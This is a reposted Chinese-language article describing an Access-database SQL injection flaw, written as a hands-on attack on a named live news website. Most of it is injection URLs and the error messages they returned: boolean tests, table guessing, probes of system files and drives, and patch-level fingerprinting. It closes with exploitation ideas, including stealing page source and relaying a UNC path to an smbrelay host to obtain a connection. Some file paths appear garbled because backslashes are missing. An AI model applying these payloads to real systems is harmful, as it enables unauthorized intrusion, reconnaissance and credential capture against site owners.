程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Access數據庫 >> 關於Access數據庫 >> access數據庫跨文件查詢漏洞的初步報告

access數據庫跨文件查詢漏洞的初步報告

編輯:關於Access數據庫
一. 在一次玩sql injection時無意發現了這個漏洞:

1.訪問http://www.lznet.Net/news/displaynews.?id=24794'

頁面出錯信息:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 字符串的語法錯誤 在查詢表達式 'id = 24794'' 中。

/news/displaynews.,行133

2.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 1=1

頁面正常

3.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 1=2

頁面返回"找不到文件"

這是典型的sql injection with Access漏洞,接下來猜表名:

4.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 0<>(select count(*) from news)

頁面出錯:引擎找不到輸入表或查詢 'news'

5.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 0<>(select count(*) from admin)

頁面出錯:引擎找不到輸入表或查詢 'admin'

6.突然想起了sql injection技術中得到的出錯信息中表名格式為: news.id

其中news為表名,id為表中的一個列名

7.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 0<>(select count(*) from lznet.a)

出錯:找不到文件 'C:WINNTsystem32lznet.mdb'。

8.試遍了web根目錄以及所有知道的虛擬目錄,都下載不到這個lznet.mdb,仔細一看原來是lznet.mdb這個文件名是自己定義的。但是,是什麼原因洩露系統目錄的物理路徑呢?繼續試試能不能查詢c:winntsystem32下的cmd.exe文件.

9.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 0<>(select count(*) from cmd.exe.a)

這條語句格式是經過多次試驗得到的:)

出錯:"引擎打不開文件'C:WINNTsystem32CMD.EXE'。 它已經被別的用戶以獨占方式打開,或沒有查看數據的權限。 "

分析以上出錯信息,我想權限是有的,因為我們是基於的guest權限,默認cmd.exe是Everyone:R ,如果打不開那就是不支持了,但是文件夾是可以被訪問,否則我們是搜索不到其中的文件的。

10.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 0<>(select count(*) from c:cmd.exe.a)

在這裡我們可以看到跨目錄查詢是可行的

出錯:

找不到文件 'c:cmd.exe'。

11.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 0<>(select count(*) from c:oot.ini.a)

注:boot.ini是win2000在系統盤根目錄下的系統引導文件

出錯:

據庫引擎打不開文件'c:oot.ini'。 它已經被別的用戶以獨占方式打開,或沒有查看數據的權限。

12.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 0<>(select count(*) from d:oot.ini.a)

跨盤符查詢也是可行的

出錯:

找不到文件 'd:oot.ini'。

13.訪問http://www.lznet.Net/news/displaynews.?id=24794 and 0<>(select count(*) from i:oot.ini.a)

出錯:

'i:oot.ini'不是一個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務器。

注:我們看到出錯信息很老實的告訴了我們這個系統沒有i盤,從側面說Access的出錯信息在某些方面還是比較詳細的。

14.這是個比較實際的利用,如果對方是從spx打到spx,在winnt目錄下就會有這些文件,我們可以通過這個漏洞查找這些文件,確定目錄主機打補丁的情況:

[$NtUninstallQ329553$] [$NtUninstallQ329834$]

[$NtUninstallQ331953$] [$NtUninstallQ810833$]

[$NtUninstallQ811114$] [$NtUninstallQ811493$]

[$NtUninstallQ815021$] [$NtUninstallSP2SRP1$]

……………

二.漏洞的利用設想:

1.查詢某個動態網頁文件,利用查詢語句獲取動態網頁的源代碼,比如讀取文件內容並把內容寫入到表的一個列裡,然後用len暴力猜列裡的內容,從而得到源碼。

2.猜測目錄的位置、文件名等等,了解對方的一點主機信息,比如說系統安裝在哪個分區上,共有幾個分區以及系統打的什麼補丁等等。

3.查詢unc路徑,如\1.1.1.1sharea.vbs,而\1.1.1.1運行著smbrelay,我們利用smb重定向技術有能會得到一個guest權限的ipc連接,這就有意思多了。

4.查找敏感文件,比如*.cif,*.mdb等等,但是我沒有實現在Access上使用通配符查詢文件,可能是因為我是新手的問題。

5.執行文件,可以的話就發財了.

6.以上設想可能有理解錯誤正在驗證中(你想到什麼就告訴我吧)

有關我對這個漏洞的理解:

access對表和列的查詢存在問題,如果我們構造一個畸型表名的話,Access找不到這樣的表就會當成mdb文件去查找,如果構造得當,就會當成一個文件去到硬盤上查找!(默認在system32下查找。我在SQL Server也簡單測試了一下,沒有發現這個問題。另外利用這個漏洞需要兩個條件(怕有的人不理解):

(1)對方是+Access應用體系,並且代碼存在過濾不足的問題使我們可以遠程注射sql語句。

(2)要能顯示查詢失敗的詳細信息,比如"引擎找不到輸入表或查詢 'news'"。否則我們無論查詢是否成功都變的沒有意義。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved